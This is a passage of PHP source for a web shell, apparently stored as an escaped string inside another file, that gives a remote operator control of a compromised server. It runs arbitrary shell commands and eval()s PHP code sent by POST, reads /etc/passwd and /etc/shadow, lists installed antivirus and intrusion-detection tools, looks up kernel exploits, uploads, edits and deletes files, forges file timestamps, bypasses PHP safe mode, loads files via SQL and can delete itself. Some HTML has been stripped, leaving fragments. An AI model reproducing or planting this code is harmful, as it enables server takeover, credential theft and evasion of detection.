";
$freeSpace=@diskfreespace($GLOBALS[\'cwd\']);
$totalSpace=@disk_total_space($GLOBALS[\'cwd\']);
$totalSpace=$totalSpace?$totalSpace:1;
$release=@php_uname(\'r\');
$kernel=@php_uname(\'s\');
$explink=\'http://exploit-db.com/list.php?description=\';
if(strpos(\'Linux\',$kernel)!==false)
$explink .= urlencode(\'Linux Kernel \'.substr($release,0,6));
else
$explink .= urlencode($kernel.\' \'.substr($release,0,3));
if(!function_exists(\'posix_getegid\')){
$user=@get_current_user();
$uid=@getmyuid();
$gid=@getmygid();
$group="?";
}else {
$uid=@posix_getpwuid(posix_geteuid());
$gid=@posix_getgrgid(posix_getegid());
$user=$uid[\'name\'];
$uid=$uid[\'uid\'];
$group=$gid[\'name\'];
$gid=$gid[\'gid\'];
}
$cwd_links=\'\';
$path=explode("/",$GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++){
$cwd_links .= "
".$path[$i]."/";
}
$charsets=array(\'UTF-8\',\'Windows-1251\',\'KOI8-R\',\'KOI8-U\',\'cp866\');
$opt_charsets=\'\';
foreach($charsets as $item)
$opt_charsets .= \'
\';
$m=array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'Logout\']=\'Logout\';
$m[\'Self remove\']=\'SelfRemove\';
$menu=\'\';
foreach($m as $k=>$v)
$menu .= \'
[ \'.$k.\' ] | \';
$drives="";
if($GLOBALS[\'os\']==\'win\'){
foreach(range(\'c\',\'z\') as $drive)
if(is_dir($drive.\':\\'))
$drives .= \'
[ \'.$drive.\' ] \';
}
echo \'
Uname:
User:
Php:
Hdd:
Cwd:\'.($GLOBALS[\'os\']==\'win\'?\'
Drives:\':\'\').\' | \'
.\'\'.substr(@php_uname(),0,120).\' [exploit-db.com]
\'.$uid.\' (\'.$user.\') Group: \'.$gid.\' (\'.$group.\')
\'.@phpversion().\' Safe mode: \'.($GLOBALS[\'safe_mode\']?\'ON\':\'OFF\')
.\' [ phpinfo ] Datetime: \'.date(\'Y-m-d H:i:s\').\'
\'.XViewSize($totalSpace).\' Free: \'.XViewSize($freeSpace).\' (\'. (int) ($freeSpace/$totalSpace*100).\'%)
\'.$cwd_links.\' \'. XPermsColor($GLOBALS[\'cwd\']).\' [ home ]
\'.$drives.\' | \'
.\'
Server IP:
\'.@$_SERVER["SERVER_ADDR"].\'
Client IP:
\'.$_SERVER[\'REMOTE_ADDR\'].\' |
\'
.\'
\';
}
function XFooter(){
$is_writable=is_writable($GLOBALS[\'cwd\'])?" (Writeable)":" (Not writable)";
echo "
";
}
if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getpwuid\')===false)){
function posix_getpwuid($p){return false;}}
if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getgrgid\')===false)){
function posix_getgrgid($p){return false;}}
function XEx($in){
$out=\'\';
if(function_exists(\'exec\')){
@exec($in,$out);
$out=@join("
",$out);
}elseif(function_exists(\'passthru\')){
ob_start();
@passthru($in);
$out=ob_get_clean();
}elseif(function_exists(\'system\')){
ob_start();
@system($in);
$out=ob_get_clean();
}elseif(function_exists(\'shell_exec\')){
$out=shell_exec($in);
}elseif(is_resource($f=@popen($in,"r"))){
$out="";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function XViewSize($s){
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576).\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024).\' KB\';
else
return $s.\' B\';
}
function XPerms($p){
if(($p & 0xC000)==0xC000)$i=\'s\';
elseif(($p & 0xA000)==0xA000)$i=\'l\';
elseif(($p & 0x8000)==0x8000)$i=\'-\';
elseif(($p & 0x6000)==0x6000)$i=\'b\';
elseif(($p & 0x4000)==0x4000)$i=\'d\';
elseif(($p & 0x2000)==0x2000)$i=\'c\';
elseif(($p & 0x1000)==0x1000)$i=\'p\';
else $i=\'u\';
$i .= (($p & 0x0100)?\'r\':\'-\');
$i .= (($p & 0x0080)?\'w\':\'-\');
$i .= (($p & 0x0040)?(($p & 0x0800)?\'s\':\'x\'):(($p & 0x0800)?\'S\':\'-\'));
$i .= (($p & 0x0020)?\'r\':\'-\');
$i .= (($p & 0x0010)?\'w\':\'-\');
$i .= (($p & 0x0008)?(($p & 0x0400)?\'s\':\'x\'):(($p & 0x0400)?\'S\':\'-\'));
$i .= (($p & 0x0004)?\'r\':\'-\');
$i .= (($p & 0x0002)?\'w\':\'-\');
$i .= (($p & 0x0001)?(($p & 0x0200)?\'t\':\'x\'):(($p & 0x0200)?\'T\':\'-\'));
return $i;
}
function XPermsColor($f){
if(!@is_readable($f))
return \'\';
function XSecParam($n,$v){
$v=trim($v);
if($v){
echo \'
\'.$n.\': \';
if(strpos($v,"
") === false)
echo $v.\'
\';
else
echo \'
\'.$v.\'
\';
}
}
XSecParam(\'Server software\',@getenv(\'SERVER_SOFTWARE\'));
if(function_exists(\'apache_get_modules\'))
XSecParam(\'Loaded Apache modules\',implode(\',\',apache_get_modules()));
XSecParam(\'Disabled PHP Functions\',$GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');
XSecParam(\'Open base dir\',@ini_get(\'open_basedir\'));
XSecParam(\'Safe mode exec dir\',@ini_get(\'safe_mode_exec_dir\'));
XSecParam(\'Safe mode include dir\',@ini_get(\'safe_mode_include_dir\'));
XSecParam(\'cURL support\',function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[]="MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[]="MSSQL";
if(function_exists(\'pg_connect\'))
$temp[]="PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[]="Oracle";
XSecParam(\'Supported databases\',implode(\',\',$temp));
echo \'
\';
if($GLOBALS[\'os\']==\'nix\'){
XSecParam(\'Readable /etc/passwd\',@is_readable(\'/etc/passwd\')?"yes
[view]":\'no\');
XSecParam(\'Readable /etc/shadow\',@is_readable(\'/etc/shadow\')?"yes
[view]":\'no\');
XSecParam(\'OS version\',@file_get_contents(\'/proc/version\'));
XSecParam(\'Distr name\',@file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']){
$userful=array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger=array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders=array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
echo \'
\';
$temp=array();
foreach ($userful as $item)
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Userful\',implode(\',\',$temp));
$temp=array();
foreach ($danger as $item)
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Danger\',implode(\',\',$temp));
$temp=array();
foreach ($downloaders as $item)
if(XWhich($item))
$temp[]=$item;
XSecParam(\'Downloaders\',implode(\',\',$temp));
echo \'
\';
XSecParam(\'HDD space\',XEx(\'df -h\'));
XSecParam(\'Hosts\',@file_get_contents(\'/etc/hosts\'));
}
}else {
XSecParam(\'OS Version\',XEx(\'ver\'));
XSecParam(\'Account Settings\',XEx(\'net accounts\'));
XSecParam(\'User Accounts\',XEx(\'net user\'));
}
echo \'
\';
ob_start();
phpinfo();
$tmp=ob_get_clean();
$tmp=preg_replace(\'!(body|a:\w+|body,td,th,h1,h2){.*}!msiU\',\'\',$tmp);
$tmp=preg_replace(\'!td,th {(.*)}!msiU\',\'.e,.v,.h,.h th {$1}\',$tmp);
echo str_replace(\'
\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=false;
echo \'Execution PHP-code
\';
if(!empty($_POST[\'p1\'])){
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'File manager
\';
if(!empty($_POST[\'p1\'])){
switch($_POST[\'p1\']){
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'],$_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path){
$path=(substr($path,-1)==\'/\')?$path:$path.\'/\';
$dh= opendir($path);
while (($item=readdir($dh))!==false){
$item=$path.$item;
if((basename($item)=="..")||(basename($item)=="."))
continue;
$type=filetype($item);
if($type=="dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f){
if($f==\'..\')
continue;
$f=urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\']==\'copy\'){
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h=@opendir($c.$s);
while (($f=@readdir($h))!==false)
if(($f!=".") and ($f!=".."))
copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');
}elseif(is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'c\'],$f,$GLOBALS[\'cwd\']);
}elseif($_SESSION[\'act\']==\'move\'){
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h=@opendir($c.$s);
while (($f=@readdir($h))!==false)
if(($f!=".") and ($f!=".."))
copy_paste($c.$s.\'/\',$f,$d.$s.\'/\');
}elseif(@is_file($c.$s))
@copy($c.$s,$d.$s);
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'c\'].$f,$GLOBALS[\'cwd\'].$f);
}elseif($_SESSION[\'act\']==\'zip\'){
if(class_exists(\'ZipArchive\')){
$zip=new ZipArchive();
if($zip->open($_POST[\'p2\'],1)){
chdir($_SESSION[\'c\']);
foreach($_SESSION[\'f\'] as $f){
if($f==\'..\')
continue;
if(@is_file($_SESSION[\'c\'].$f))
$zip->addFile($_SESSION[\'c\'].$f,$f);
elseif(@is_dir($_SESSION[\'c\'].$f)){
$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));
foreach ($iterator as $key=>$value){
$zip->addFile(realpath($key),$key);
}
}
}
chdir($GLOBALS[\'cwd\']);
$zip->close();
}
}
}elseif($_SESSION[\'act\']==\'unzip\'){
if(class_exists(\'ZipArchive\')){
$zip=new ZipArchive();
foreach($_SESSION[\'f\'] as $f){
if($zip->open($_SESSION[\'c\'].$f)){
$zip->extractTo($GLOBALS[\'cwd\']);
$zip->close();
}
}
}
}elseif($_SESSION[\'act\']==\'tar\'){
chdir($_SESSION[\'c\']);
$_SESSION[\'f\']=array_map(\'escapeshellarg\',$_SESSION[\'f\']);
XEx(\'tar cfzv \'.escapeshellarg($_POST[\'p2\']).\' \'.implode(\' \',$_SESSION[\'f\']));
chdir($GLOBALS[\'cwd\']);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\'])){
$_SESSION[\'act\']=@$_POST[\'p1\'];
$_SESSION[\'f\']=@$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k=>$f)
$_SESSION[\'f\'][$k]=urldecode($f);
$_SESSION[\'c\']=@$_POST[\'c\'];
}
break;
}
}
$dirContent=@scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false){echo \'Can\'t open this folder!\';XFooter(); return; }
global $sort;
$sort=array(\'name\',1);
if(!empty($_POST[\'p1\'])){
if(preg_match(\'!s_([A-z]+)_(\d{1})!\',$_POST[\'p1\'],$match))
$sort=array($match[1],(int)$match[2]);
}
echo "
File tools
\';
if(!file_exists(@$_POST[\'p1\'])){
echo \'File not exists\';
XFooter();
return;
}
$uid=@posix_getpwuid(@fileowner($_POST[\'p1\']));
if(!$uid){
$uid[\'name\']=@fileowner($_POST[\'p1\']);
$gid[\'name\']=@filegroup($_POST[\'p1\']);
}else $gid=@posix_getgrgid(@filegroup($_POST[\'p1\']));
echo \'
Name: \'.htmlspecialchars(@basename($_POST[\'p1\'])).\'
Size: \'.(is_file($_POST[\'p1\'])?XViewSize(filesize($_POST[\'p1\'])):\'-\').\'
Permission: \'.XPermsColor($_POST[\'p1\']).\'
Owner/Group: \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'
\';
echo \'
Create time: \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\'
Access time: \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\'
Modify time: \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'
\';
if(empty($_POST[\'p2\']))
$_POST[\'p2\']=\'view\';
if(is_file($_POST[\'p1\']))
$m=array(\'View\',\'Highlight\',\'Download\',\'Hexdump\',\'Edit\',\'Chmod\',\'Rename\',\'Touch\');
else
$m=array(\'Chmod\',\'Rename\',\'Touch\');
foreach($m as $v)
echo \'
\'.((strtolower($v)==@$_POST[\'p2\'])?\'[ \'.$v.\' ]\':$v).\' \';
echo \'
\';
switch($_POST[\'p2\']){
case \'view\':
echo \'
\';
$fp=@fopen($_POST[\'p1\'],\'r\');
if($fp){
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo \'\';
break;
case \'highlight\':
if(@is_readable($_POST[\'p1\'])){
echo \'
\';
$code=@highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'\'),array(\'\'),$code).\'
\';
}
break;
case \'chmod\':
if(!empty($_POST[\'p3\'])){
$perms=0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8,(strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'],$perms))
echo \'Can\'t set permissions!
\';
}
clearstatcache();
echo \'
\';
break;
case \'edit\':
if(!is_writable($_POST[\'p1\'])){
echo \'File isn\'t writeable\';
break;
}
if(!empty($_POST[\'p3\'])){
$time=@filemtime($_POST[\'p1\']);
$_POST[\'p3\']=substr($_POST[\'p3\'],1);
$fp=@fopen($_POST[\'p1\'],"w");
if($fp){
@fwrite($fp,$_POST[\'p3\']);
@fclose($fp);
echo \'Saved!
\';
@touch($_POST[\'p1\'],$time,$time);
}
}
echo \'
\';
break;
case \'hexdump\':
$c=@file_get_contents($_POST[\'p1\']);
$n=0;
$h=array(\'00000000
\',\'\',\'\');
$len=strlen($c);
for ($i=0; $i<$len; ++$i){
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch (ord($c[$i])){
case 0:$h[2] .= \' \'; break;
case 9:$h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if($n==32){
$n=0;
if($i+1 < $len){$h[0] .= sprintf(\'%08X\',$i+1).\'
\';}
$h[1] .= \'
\';
$h[2] .= "
";
}
}
echo \'
\'.$h[0].\' | \'.$h[1].\' | \'.htmlspecialchars($h[2]).\' |
\';
break;
case \'rename\':
if(!empty($_POST[\'p3\'])){
if(!@rename($_POST[\'p1\'],$_POST[\'p3\']))
echo \'Can\'t rename!
\';
else
die(\'\');
}
echo \'
\';
break;
case \'touch\':
if(!empty($_POST[\'p3\'])){
$time=strtotime($_POST[\'p3\']);
if($time){
if(!touch($_POST[\'p1\'],$time,$time))
echo \'Fail!\';
else
echo \'Touched!\';
}else echo \'Bad time format!\';
}
clearstatcache();
echo \'
\';
break;
}
echo \'
Safe mode bypass
\';
echo \'
Copy (read file)Glob (list dir)Curl (read file)Ini_restore (read file)Posix_getpwuid ("Read" /etc/passwd)\';
if($temp)
echo \'
\'.htmlspecialchars($temp).\'
\';
echo \'
Console
\';
XFooter();
}
function actionLogout(){
session_destroy();
die(\'bye!\');
}
function actionSelfRemove(){
if($_POST[\'p1\']==\'yes\')
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\',\'\',__FILE__)))
die(\'Shell has been removed\');
else
echo \'unlink error!\';
if($_POST[\'p1\']!=\'yes\')
XHeader();
echo \'Suicide
Really want to remove the shell?
YesSql browser
";
if($_POST[\'type\']==\'mysql\'){
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`,\'@\',`host`)=USER() AND `File_priv`=\'y\'");
if($db->fetch())
echo "
";
}
if(@$_POST[\'p1\']==\'loadfile\'){
$file=$db->loadFile($_POST[\'p2\']);
echo \'
\'.htmlspecialchars($file[\'file\']).\'
\';
}
}else {
echo htmlspecialchars($db->error());
}
echo \'
\';
XFooter();
}
function actionRC(){
if(!@$_POST[\'p1\']){
$a=array(
"uname"=>php_uname(),
"php_version"=>phpversion(),
"X_version"=>X_VERSION,
"safemode"=>@ini_get(\'safe_mode\')
);
echo serialize($a);
}else {
eval($_POST[\'p1\']);
}
}
if(empty($_POST[\'a\']))if(isset($default_action)&&function_exists(\'action\'.$default_action))$_POST[\'a\']=$default_action;else$_POST[\'a\']=\'SecInfo\';if(!empty($_POST[\'a\'])&&function_exists(\'action\'.$_POST[\'a\']))call_user_func(\'action\'.$_POST[\'a\']);exit;'//